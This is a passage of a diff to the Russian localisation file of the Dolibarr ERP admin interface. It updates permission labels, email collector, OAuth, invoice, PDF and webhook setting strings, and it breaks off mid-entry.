Permission12=Создание/Изменение счета-фактуры Permission13=Аннулирование счетов-фактур клиентов Permission14=Проверка счета-фактуры @@ -714,7 +724,7 @@ Permission27=Удалить коммерческих предложений Permission28=Экспорт коммерческих предложений Permission31=Просмотр продуктов/услуг Permission32=Создание/изменение продуктов/услуг -Permission33=Read prices products +Permission33=Читать цены на товары Permission34=Удаленные продукты/услуги Permission36=Просмотр/управление скрытыми продуктами/услугами Permission38=Экспорт продуктов @@ -740,7 +750,7 @@ Permission79=Создать/изменить подписки Permission81=Читать заказы клиентов Permission82=Создать/изменить заказы клиентов Permission84=Проверка заказов клиентов -Permission85=Generate the documents sales orders +Permission85=Создание документов заказов на продажу Permission86=Отправка заказов клиентов Permission87=Закрытые заказы клиентов Permission88=Отмена заказов клиентов @@ -842,9 +852,9 @@ Permission286=Экспортировать контакты Permission291=Читать тарифы Permission292=Установка разрешений на тарифы Permission293=Изменить тарифы клиента -Permission300=Читать штрих-коды -Permission301=Создание/изменение штрих-кодов -Permission302=Удалить штрих-коды +Permission301=Создание PDF-листов штрих-кодов +Permission304=Создание/изменение штрих-кодов +Permission305=Удалить штрих-коды Permission311=Читать услуги Permission312=Назначить услугу/подписку договору Permission331=Читать закладки @@ -876,7 +886,7 @@ Permission525=Доступ к калькулятору займа Permission527=Экспорт займов Permission531=Читать услуги Permission532=Создать/изменить услуги -Permission533=Read prices services +Permission533=Читать цены услуги Permission534=Удаление услуг Permission536=Смотреть/Управлять скрытыми услугами Permission538=Экспорт услуг @@ -940,7 +950,7 @@ Permission1190=Утвердить (второе утверждение) зака Permission1191=Экспорт заказов поставщиков и их атрибутов Permission1201=Получите результат экспорта Permission1202=Создание/Изменение экспорта -Permission1231=Просмотреть счета поставщиков +Permission1231=Read vendor invoices (and payments) Permission1232=Создание/изменение счетов поставщиков Permission1233=Проверка счетов поставщиков Permission1234=Удалить счета поставщиков @@ -971,13 +981,14 @@ Permission3301=Создавать новые модули Permission4001=Читать навык/работа/должность Permission4002=Создать/изменить навык/работу/должность Permission4003=Удалить навык/работу/должность -Permission4020=Читать оценки -Permission4021=Создайте/измените свою оценку -Permission4022=Подтвердить оценку -Permission4023=Удалить оценку -Permission4030=См. Меню сравнения +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Подтвердить оценку +Permission4025=Delete evaluation +Permission4028=См. Меню сравнения Permission4031=Читать личную информацию Permission4032=Напишите личную информацию +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Смотреть содержание сайта Permission10002=Создание/изменение содержимого веб-сайта (HTML и JavaScript) Permission10003=Создание/изменение содержимого сайта (динамический PHP-код). Опасно, должно быть зарезервировано для разработчиков с ограниченным доступом. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Тип выбытия активов TypeOfUnit=Тип единицы SetupSaved=Настройки сохранены SetupNotSaved=Установки не сохранены +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Вернуться к списку модулей BackToDictionaryList=Вернуться к списку словарей TypeOfRevenueStamp=Тип налоговой печати @@ -1132,7 +1147,7 @@ ValueOfConstantKey=Значение константы конфигурации ConstantIsOn=Вариант %s включен NbOfDays=Кол-во дней AtEndOfMonth=На конец месяца -CurrentNext=A given day in month +CurrentNext=Определенный день в месяце Offset=Сдвиг AlwaysActive=Всегда активный Upgrade=Обновление @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      Это программное SetupDescription5=Другие пункты меню настройки управляют дополнительными параметрами. SetupDescriptionLink=%s - %s SetupDescription3b=Основные параметры, используемые для настройки поведения вашего приложения по умолчанию (например, для функций, связанных со страной). -SetupDescription4b=Это программное обеспечение представляет собой набор из множества модулей/приложений. Модули, связанные с вашими потребностями, должны быть включены и настроены. Записи меню появятся при активации этих модулей. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=События безопасности, которые подвергаются аудиту NoSecurityEventsAreAduited=События безопасности не проверяются. Вы можете включить их из меню %s Audit=События безопасности @@ -1238,12 +1253,13 @@ BrowserName=Имя браузера BrowserOS=Операционная система браузера ListOfSecurityEvents=Список событий безопасности Dolibarr SecurityEventsPurged=События безопасности удалены -TrackableSecurityEvents=Trackable security events +TrackableSecurityEvents=Отслеживаемые события безопасности LogEventDesc=Включите ведение журнала для определенных событий безопасности. Администраторы журнала через меню %s - %s. Предупреждение, эта функция может генерировать большой объем данных в базе данных. AreaForAdminOnly=Параметры настройки могут быть установлены только пользователем администратора. SystemInfoDesc=Система информации разного техническую информацию Вы получите в режиме только для чтения и видимые только для администраторов. SystemAreaForAdminOnly=Эта область доступна только для администраторов. Пользовательские разрешения Dolibarr не могут изменить это ограничение. CompanyFundationDesc=Отредактируйте информацию о вашей компании/организации. Когда закончите, нажмите кнопку «%s» внизу страницы. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Если у вас есть внешний бухгалтер/бухгалтер, вы можете отредактировать здесь эту информацию. AccountantFileNumber=Код бухгалтера DisplayDesc=Здесь можно изменить параметры, влияющие на внешний вид и представление приложения. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Триггеры в этом файле активн GeneratedPasswordDesc=Выберите метод, который будет использоваться для автоматически сгенерированных паролей. DictionaryDesc=Вставьте все справочные данные. Вы можете добавить свои значения по умолчанию. ConstDesc=Эта страница позволяет вам редактировать (переопределять) параметры, недоступные на других страницах. В основном это зарезервированные параметры только для разработчиков / расширенного поиска и устранения неисправностей. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Все остальные параметры, связанные с безопасностью, определены здесь. LimitsSetup=Пределы / Точная настройка LimitsDesc=Вы можете определить пределы, точности и оптимизации, используемые Dolibarr здесь @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Вы должны запуст YourPHPDoesNotHaveSSLSupport=SSL функций, не доступных в PHP DownloadMoreSkins=Дополнительные шкуры для загрузки SimpleNumRefModelDesc=Возвращает ссылочный номер в формате %syymm-nnnn, где yy - год, mm - месяц, а nnnn - последовательное автоматически увеличивающееся число без сброса. +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Возвращает ссылочный номер в формате %s-nnnn, где nnnn - это последовательный номер с автоинкрементом без сброса. ShowProfIdInAddress=Показать профессиональный идентификатор с адресами ShowVATIntaInAddress=Скрыть номер плательщика НДС внутри Сообщества @@ -1380,7 +1399,7 @@ GetBarCode=Получить штрих-код NumberingModules=Модели нумерации DocumentModules=Модели документов ##### Module password generation -PasswordGenerationStandard=Вернуть пароль, созданный в соответствии с внутренним алгоритмом Dolibarr: символы %s, содержащие общие числа и символы в нижнем регистре. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Не предлагать сгенерированный пароль. Пароль должен быть введен вручную. PasswordGenerationPerso=Верните пароль в соответствии с вашей личной конфигурацией. SetupPerso=Согласно вашей конфигурации @@ -1434,6 +1453,10 @@ SuppliersPayment=Платежи поставщику SupplierPaymentSetup=Настройка платежей поставщику InvoiceCheckPosteriorDate=Проверьте дату счета-фактуры перед проверкой InvoiceCheckPosteriorDateHelp=Проверка счета будет запрещена, если его дата предшествует дате последнего счета того же типа. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Настройка модуля Коммерческих предложений ProposalsNumberingModules=Шаблоны нумерации Коммерческих предложений @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Водяной знак на черновиках ##### Members ##### MembersSetup=Настройка модуля участников MemberMainOptions=Основные настройки +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Управление логином для каждого пользователя AdherentMailRequired=Требуется электронная почта для создания нового участника MemberSendInformationByMailByDefault=Чекбокс отправить по почте подтверждение участников по умолчанию MemberCreateAnExternalUserForSubscriptionValidated=Создайте внешний пользовательский логин для каждой подтвержденной подписки нового участника -VisitorCanChooseItsPaymentMode=Посетитель может выбрать один из доступных способов оплаты +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Включить автоматическое напоминание по электронной почте о просроченных подписках. Примечание. Модуль %s должен быть включен и правильно настроен для отправки напоминаний. MembersDocModules=Шаблоны документов для документов, созданных из записи участника ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Включить FCKeditor для: FCKeditorForNotePublic=WYSIWIG создание/изменение поля "публичные заметки" элементов FCKeditorForNotePrivate=WYSIWIG создание/изменение поля "личные заметки" элементов FCKeditorForCompany=WYSIWIG создание/редактирование поля описания элементов (кроме продуктов/услуг) -FCKeditorForProduct=WYSIWIG создание/редактирование поля описания продуктов/услуг -FCKeditorForProductDetails=WYSIWIG создание/редактирование строк сведений о продуктах для всех сущностей (предложения, заказы, счета-фактуры и т.д.). Предупреждение. Использование этого параметра в данном случае серьезно не рекомендуется, поскольку оно может создать проблемы со специальными символами и форматированием страниц при создании файлов PDF. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG создание/редактирование для массовой рассылки по электронной почте (Инструменты-> Массовая рассылка) FCKeditorForUserSignature=WYSIWIG создание/редактирование подписи пользователя FCKeditorForMail=WYSIWIG создание/редактирование для всей почты (кроме Инструменты -> Массовая рассылка) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Обработчик меню, где показывать н DetailMenuModule=Имя модуля, если пункт меню взят из модуля DetailType=Тип меню (вверху или слева) DetailTitre=Меню ярлык или этикетку код для перевода -DetailUrl=URL-адрес, по которому вам отправляется меню (абсолютная ссылка или внешняя ссылка с http://) +DetailUrl=URL-адрес, по которому вас отправляет меню (относительная URL-ссылка или внешняя ссылка с https://) DetailEnabled=Условие показать или нет запись DetailRight=Условие для отображения несанкционированным серого меню DetailLangs=Имя файла .lang для перевода кода метки @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Использовать типы событий (упра AGENDA_USE_EVENT_TYPE_DEFAULT=Автоматически устанавливать это значение по умолчанию для типа события в форме создания события AGENDA_DEFAULT_FILTER_TYPE=Автоматически устанавливать этот тип события в поисковом фильтре просмотра повестки дня AGENDA_DEFAULT_FILTER_STATUS=Автоматически устанавливать этот статус для событий в поисковом фильтре представления повестки дня +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Какой вид вы хотите открыть по умолчанию при выборе меню «Повестка дня» AGENDA_REMINDER_BROWSER=Включить напоминание о событии в браузере пользователя (при достижении даты напоминания в браузере отображается всплывающее окно. Каждый пользователь может отключить такие уведомления в настройках уведомлений браузера). AGENDA_REMINDER_BROWSER_SOUND=Включить звуковое оповещение @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Уменьшение запаса в CashDeskYouDidNotDisableStockDecease=Вы не отключили уменьшение запасов при продаже через точку продаж. Следовательно, требуется склад. CashDeskForceDecreaseStockLabel=Вынужденное сокращение запасов серийной продукции. CashDeskForceDecreaseStockDesc=Уменьшите сначала на самые старые даты приема и продажи. -CashDeskReaderKeyCodeForEnter=Код клавиши для "Enter", определенный в считывателе штрих-кода (Пример: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Настройка модуля Закладки BookmarkDesc=Этот модуль позволяет вам управлять закладками. Вы также можете добавить ярлыки на любые страницы Dolibarr или внешние веб-сайты в левом меню. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Модели нумерации накладны IfSetToYesDontForgetPermission=Если установлено ненулевое значение, не забудьте предоставить разрешения для групп или пользователей, которым разрешено второе утверждение. ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Настройка модуля GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Путь к файлу, содержащему Maxmind ip для перевода страны.
      Примеры:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /bCecry/subscribe/ +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Обратите внимание, что Ваш IP, чтобы страны файл данных должен быть в директории вашего PHP может читать (Проверьте ваши установки PHP open_basedir и файловой системы разрешений). YouCanDownloadFreeDatFileTo=Вы можете скачать бесплатную демонстрационную версию страны GeoIP MaxMind файл на %s. YouCanDownloadAdvancedDatFileTo=Вы также можете скачать более полную версию, с обновлениями, в стране GeoIP MaxMind файл на %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Мастер создания файла дампа базы д BackupZipWizard=Мастер создания архива каталога документов SomethingMakeInstallFromWebNotPossible=Установка внешних модулей через веб-интерфейс не возможна по следующей причине: SomethingMakeInstallFromWebNotPossible2=По этой причине описанный здесь процесс обновления является ручным процессом, который может выполнить только привилегированный пользователь. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Установка внешних модулей из приложения отключена вашим администратором. Вы должны попросить его удалить файл %s, чтобы использовать эту функцию. ConfFileMustContainCustom=Для установки или создания внешнего модуля из приложения необходимо сохранить файлы модулей в каталог %s. Чтобы этот каталог обрабатывался Dolibarr, вы должны настроить conf/conf.php, чтобы добавить 2 директивные строки:
      $dolibarr_main_url_root_alt = '/custom';
      $dolibarr_main_document_root_alt = '%s/custom'; HighlightLinesOnMouseHover=Выделите строки таблицы при перемещении мыши @@ -1940,7 +1968,7 @@ PressF5AfterChangingThis=Нажмите CTRL + F5 на клавиатуре ил NotSupportedByAllThemes=Будет работать с основными темами, может не поддерживаться внешними темами BackgroundColor=Фоновый цвет TopMenuBackgroundColor=Цвет фона для верхнего меню -TopMenuDisableImages=Icon or Text in Top menu +TopMenuDisableImages=Значок или текст в верхнем меню LeftMenuBackgroundColor=Цвет фона для меню слева BackgroundTableTitleColor=Цвет фона для заголовка таблицы BackgroundTableTitleTextColor=Цвет текста для заголовка таблицы @@ -1953,7 +1981,7 @@ EnterAnyCode=Это поле содержит ссылку для идентиф Enter0or1=Введите 0 или 1 UnicodeCurrency=Введите здесь в фигурных скобках список номеров байтов, представляющих символ валюты. Например: для $ введите [36] - для бразильских реалов [82,36] - для € введите [8364]. ColorFormat=Цвет RGB находится в формате HEX, например: FF0000 -PictoHelp=Icon name in format:
      - image.png for an image file into the current theme directory
      - image.png@module if file is into the directory /img/ of a module
      - fa-xxx for a FontAwesome fa-xxx picto
      - fonwtawesome_xxx_fa_color_size for a FontAwesome fa-xxx picto (with prefix, color and size set) +PictoHelp=Имя значка в формате:
      - image.png для файла изображения в каталоге текущей темы
      - image.png@module, если файл находится в каталоге /img/ модуля
      - fonwtawesome_xxx_fa_color_size для изображения FontAwesome fa-xxx (с набором префикса, цвета и размера) PositionIntoComboList=Позиция строки в комбинированных списках SellTaxRate=Ставка налога с продаж RecuperableOnly=Да для НДС «Не воспринимается, а восстанавливается», предназначенный для некоторых государств во Франции. Сохраняйте значение «Нет» во всех других случаях. @@ -2035,7 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Правый отступ PDF MAIN_PDF_MARGIN_TOP=Верхний отступ PDF MAIN_PDF_MARGIN_BOTTOM=Нижний отступ PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Высота для логотипа в PDF -DOC_SHOW_FIRST_SALES_REP=Show first sales representative +DOC_SHOW_FIRST_SALES_REP=Показать первого торгового представителя MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Добавить изображение в строку предложения MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Ширина столбца, если рисунок добавляется по линиям MAIN_PDF_NO_SENDER_FRAME=Скрыть границы в рамке адреса отправителя @@ -2053,8 +2081,10 @@ RemoveSpecialChars=Удаление специальных символов COMPANY_AQUARIUM_CLEAN_REGEX=Фильтр регулярных выражений для очистки значения (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Фильтр регулярных выражений для очистки значения (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Дубликат не допускается +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Сотрудник по защите данных (контактное лицо DPO, Data Privacy или GDPR) -GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here +GDPRContactDesc=Если вы храните личные данные в своей информационной системе, здесь вы можете указать контактное лицо, ответственное за Общее положение о защите данных. HelpOnTooltip=Текст справки для отображения во всплывающей подсказке HelpOnTooltipDesc=Поместите здесь текст или ключ перевода, чтобы текст отображался во всплывающей подсказке, когда это поле появляется в форме YouCanDeleteFileOnServerWith=Вы можете удалить этот файл на сервере с помощью командной строки:
      %s @@ -2065,35 +2095,36 @@ VATIsUsedIsOff=Примечание: В меню %s - %s для параметр SwapSenderAndRecipientOnPDF=Поменять местами адреса отправителя и получателя в PDF-документах FeatureSupportedOnTextFieldsOnly=Предупреждение, функция поддерживается только для текстовых полей и комбинированных списков. Также должен быть установлен параметр URL action = create или action = edit ИЛИ имя страницы должно заканчиваться на 'new.php', чтобы активировать эту функцию. EmailCollector=Сборщик писем -EmailCollectors=Email collectors +EmailCollectors=Сборщики электронной почты EmailCollectorDescription=Добавьте запланированное задание и страницу настройки, чтобы регулярно сканировать ящики электронной почты (с использованием протокола IMAP) и записывать электронные письма, полученные в ваше приложение, в нужное место и/или создавать некоторые записи автоматически (например, лидов). NewEmailCollector=Новый сборщик электронной почты EMailHost=Хост почтового сервера IMAP -EMailHostPort=Port of email IMAP server -loginPassword=Login/Password -oauthToken=Oauth2 token -accessType=Acces type -oauthService=Oauth service -TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). +EMailHostPort=Порт почтового сервера IMAP +loginPassword=Логин Пароль +oauthToken=Токен Oauth2 +accessType=Тип доступа +oauthService=Oauth-сервис +TokenMustHaveBeenCreated=Модуль OAuth2 должен быть включен, а токен oauth2 должен быть создан с правильными разрешениями (например, область «gmail_full» с OAuth для Gmail). MailboxSourceDirectory=Исходный каталог почтового ящика MailboxTargetDirectory=Целевой каталог почтового ящика EmailcollectorOperations=Операции, выполняемые сборщиком EmailcollectorOperationsDesc=Операции выполняются сверху вниз. MaxEmailCollectPerCollect=Максимальное количество писем, собранных за один сбор +TestCollectNow=Тестовый сбор CollectNow=Собери сейчас ConfirmCloneEmailCollector=Вы уверены, что хотите клонировать сборщик электронной почты %s? DateLastCollectResult=Дата последней попытки сбора DateLastcollectResultOk=Дата последнего успешного сбора LastResult=Последний результат EmailCollectorHideMailHeaders=Не включать содержимое заголовка электронной почты в сохраненное содержимое собранных электронных писем. -EmailCollectorHideMailHeadersHelp=When enabled, e-mail headers are not added at the end of the email content that is saved as an agenda event. +EmailCollectorHideMailHeadersHelp=Если этот параметр включен, заголовки сообщений электронной почты не добавляются в конец содержимого сообщения электронной почты, которое сохраняется как событие повестки дня. EmailCollectorConfirmCollectTitle=Подтверждение сбора по электронной почте EmailCollectorConfirmCollect=Вы хотите запустить этот сборщик сейчас? EmailCollectorExampleToCollectTicketRequestsDesc=Собирайте электронные письма, соответствующие некоторым правилам, и автоматически создавайте тикет (модуль тикета должен быть включен) с информацией об электронной почте. Вы можете использовать этот сборщик, если вы окажете поддержку по электронной почте, поэтому ваш запрос на билет будет сгенерирован автоматически. Активируйте также Collect_Responses, чтобы собирать ответы вашего клиента прямо в окне просмотра заявки (вы должны отвечать из Долибарра). EmailCollectorExampleToCollectTicketRequests=Пример сбора запроса на тикет (только первое сообщение) EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Сканируйте каталог «Отправленные» вашего почтового ящика, чтобы найти электронные письма, которые были отправлены в качестве ответа на другое электронное письмо непосредственно из вашего почтового программного обеспечения, а не из Dolibarr. Если такое письмо найдено, событие ответа записывается в Долибарр. EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Пример сбора ответов по электронной почте, отправленных из внешнего программного обеспечения электронной почты -EmailCollectorExampleToCollectDolibarrAnswersDesc=Collect all emails that are an answer of an email sent from your application. An event (Module Agenda must be enabled) with the email response will be recorded at the good place. For example, if you send a commercial proposal, order, invoice or message for a ticket by email from the application, and the recipient answers your email, the system will automatically catch the answer and add it into your ERP. +EmailCollectorExampleToCollectDolibarrAnswersDesc=Соберите все электронные письма, которые являются ответом на электронное письмо, отправленное из вашего приложения. Событие (Module Agenda должно быть включено) с ответом по электронной почте будет записано в нужном месте. Например, если вы отправляете коммерческое предложение, заказ, счет или сообщение на билет по электронной почте из приложения, и получатель отвечает на ваше письмо, система автоматически поймает ответ и добавит его в вашу ERP. EmailCollectorExampleToCollectDolibarrAnswers=Пример сбора всех входящих сообщений, являющихся ответами на сообщения, отправленные Долибарром. EmailCollectorExampleToCollectLeadsDesc=Собирайте электронные письма, соответствующие некоторым правилам, и автоматически создавайте потенциальных клиентов (модуль проекта должен быть включен) с информацией об электронной почте. Вы можете использовать этот сборщик, если хотите следить за своим лидом с помощью модуля «Проект» (1 лид = 1 проект), поэтому ваши лиды будут генерироваться автоматически. Если сборщик Collect_Responses также включен, при отправке письма от ваших лидов, предложений или любого другого объекта вы также можете увидеть ответы своих клиентов или партнеров прямо в приложении.
      Примечание. В этом начальном примере заголовок лида создается вместе с адресом электронной почты. Если третье лицо не может быть найдено в базе данных (новый клиент), лид будет привязан к третьему лицу с идентификатором 1. EmailCollectorExampleToCollectLeads=Пример сбора лидов @@ -2101,7 +2132,7 @@ EmailCollectorExampleToCollectJobCandidaturesDesc=Собирайте элект EmailCollectorExampleToCollectJobCandidatures=Пример сбора кандидатур на работу, полученных по электронной почте NoNewEmailToProcess=Нет новых писем (соответствующие фильтры) для обработки NothingProcessed=Ничего не было выполнено -XEmailsDoneYActionsDone=%s emails pre-qualified, %s emails successfully processed (for %s record/actions done) +XEmailsDoneYActionsDone=Предварительно квалифицированные электронные письма %s, успешно обработанные электронные письма %s (для записи/действий %s) RecordEvent=Запишите событие в повестку дня (с типом Электронная почта отправлена или получена) CreateLeadAndThirdParty=Создайте лид (и третье лицо, если необходимо) CreateTicketAndThirdParty=Создать тикет (связанный с третьей стороной, если третья сторона была загружена предыдущей операцией или была угадана из трекера в заголовке электронной почты, без третьей стороны в противном случае) @@ -2109,6 +2140,7 @@ CodeLastResult=Последний код результата NbOfEmailsInInbox=Количество писем в исходном каталоге LoadThirdPartyFromName=Загрузить сторонний поиск на %s (только загрузка) LoadThirdPartyFromNameOrCreate=Загрузите сторонний поиск на %s (создайте, если не найден) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Сохраняйте вложенные файлы в документы объекта, если ссылка на объект найдена в теме письма. WithDolTrackingID=Сообщение из беседы, инициированной первым письмом, отправленным от Dolibarr WithoutDolTrackingID=Сообщение из беседы, инициированной первым электронным письмом, НЕ отправленным от Dolibarr @@ -2118,7 +2150,7 @@ CreateCandidature=Создать заявление о приеме на раб FormatZip=Индекс MainMenuCode=Код входа в меню (главное меню) ECMAutoTree=Показать автоматическое дерево ECM -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Определите правила, которые будут использоваться для извлечения некоторых данных или установки значений для использования в операции.

      Пример извлечения названия компании из темы сообщения электронной почты во временную переменную:
      tmp_var=EXTRACT:SUBJECT:Сообщение от компании ([^\n]*)

      Примеры установки свойств создаваемого объекта:
      objproperty1=SET:значение жесткого кода
      objproperty4=ИЗВЛЕЧЕНИЕ:ЗАГОЛОВОК:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=ИЗВЛЕЧЕНИЕ:ТЕМА:([^\n]*)
      object.objproperty5=ИЗВЛЕЧЕНИЕ:ТЕЛО:Мое название компании\\s([^\\s]*)

      Используйте ; char в качестве разделителя для извлечения или установки нескольких свойств. OpeningHours=Часы работы OpeningHoursDesc=Введите здесь обычные часы работы вашей компании. ResourceSetup=Конфигурация модуля Ресурсов @@ -2180,9 +2212,10 @@ EmailTemplate=Шаблон для электронной почты EMailsWillHaveMessageID=Письма будут иметь тег "Ссылки", соответствующий этому синтаксису. PDF_SHOW_PROJECT=Показать проект в документе ShowProjectLabel=Этикетка проекта -PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name -THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty -ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Включить псевдоним в стороннее имя +THIRDPARTY_ALIAS=Название третья сторона - Псевдоним третья сторона +ALIAS_THIRDPARTY=Псевдоним третья сторона - Имя третьей стороны +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Если вы хотите, чтобы некоторые тексты в вашем PDF-файле были продублированы на 2 разных языках в одном сгенерированном PDF-файле, вы должны установить здесь этот второй язык, чтобы сгенерированный PDF-файл содержал 2 разных языка на одной странице: один, выбранный при создании PDF, и этот ( только несколько шаблонов PDF поддерживают это). Оставьте пустым для 1 языка в PDF-файле. PDF_USE_A=Создавайте документы PDF в формате PDF/A вместо формата PDF по умолчанию FafaIconSocialNetworksDesc=Введите здесь код значка FontAwesome. Если вы не знаете, что такое FontAwesome, вы можете использовать общее значение fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Партнерство AGENDA_EVENT_DEFAULT_STATUS=Статус события по умолчанию при создании события из формы YouShouldDisablePHPFunctions=Вы должны отключить функции PHP IfCLINotRequiredYouShouldDisablePHPFunctions=За исключением случаев, когда вам нужно запускать системные команды в пользовательском коде, вы должны отключить функции PHP. -PHPFunctionsRequiredForCLI=Для целей оболочки (например, резервного копирования заданий по расписанию или запуска антивирусной программы) вы должны сохранить функции PHP +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=В корневом каталоге не обнаружены доступные для записи файлы или каталоги распространенных программ (Хорошо) RecommendedValueIs=Рекомендуется: %s Recommended=Рекомендуемые NotRecommended=Не рекомендуется -ARestrictedPath=Какой-то ограниченный путь +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Проверить обновления внешних модулей CheckForModuleUpdateHelp=Это действие подключится к редакторам внешних модулей, чтобы проверить, доступна ли новая версия. ModuleUpdateAvailable=Доступно обновление @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=Обновлений для внешних модул SwaggerDescriptionFile=Файл описания Swagger API (например, для использования с redoc) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Вы включили устаревший WS API. Вместо этого вам следует использовать REST API. RandomlySelectedIfSeveral=Выбирается случайным образом, если доступно несколько изображений -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=Для предложений, заказов, счетов. DatabasePasswordObfuscated=Пароль базы данных зашифрован в файле conf DatabasePasswordNotObfuscated=Пароль базы данных НЕ запутывается в файле conf APIsAreNotEnabled=Модули API не включены @@ -2264,14 +2297,14 @@ LateWarningAfter=«Позднее» предупреждение после TemplateforBusinessCards=Шаблон визитки разного размера InventorySetup= Настройка инвентаря ExportUseLowMemoryMode=Используйте режим с низким объемом памяти -ExportUseLowMemoryModeHelp=Используйте режим низкой памяти для выполнения exec дампа (сжатие выполняется через конвейер, а не в память PHP). Этот метод не позволяет проверить, завершен ли файл, и сообщение об ошибке не может быть сообщено в случае сбоя. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. -ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL -WebhookSetup = Webhook setup +ModuleWebhookName = Вебхук +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL +WebhookSetup = Настройка вебхука Settings = Настройки -WebhookSetupPage = Webhook setup page -ShowQuickAddLink=Show a 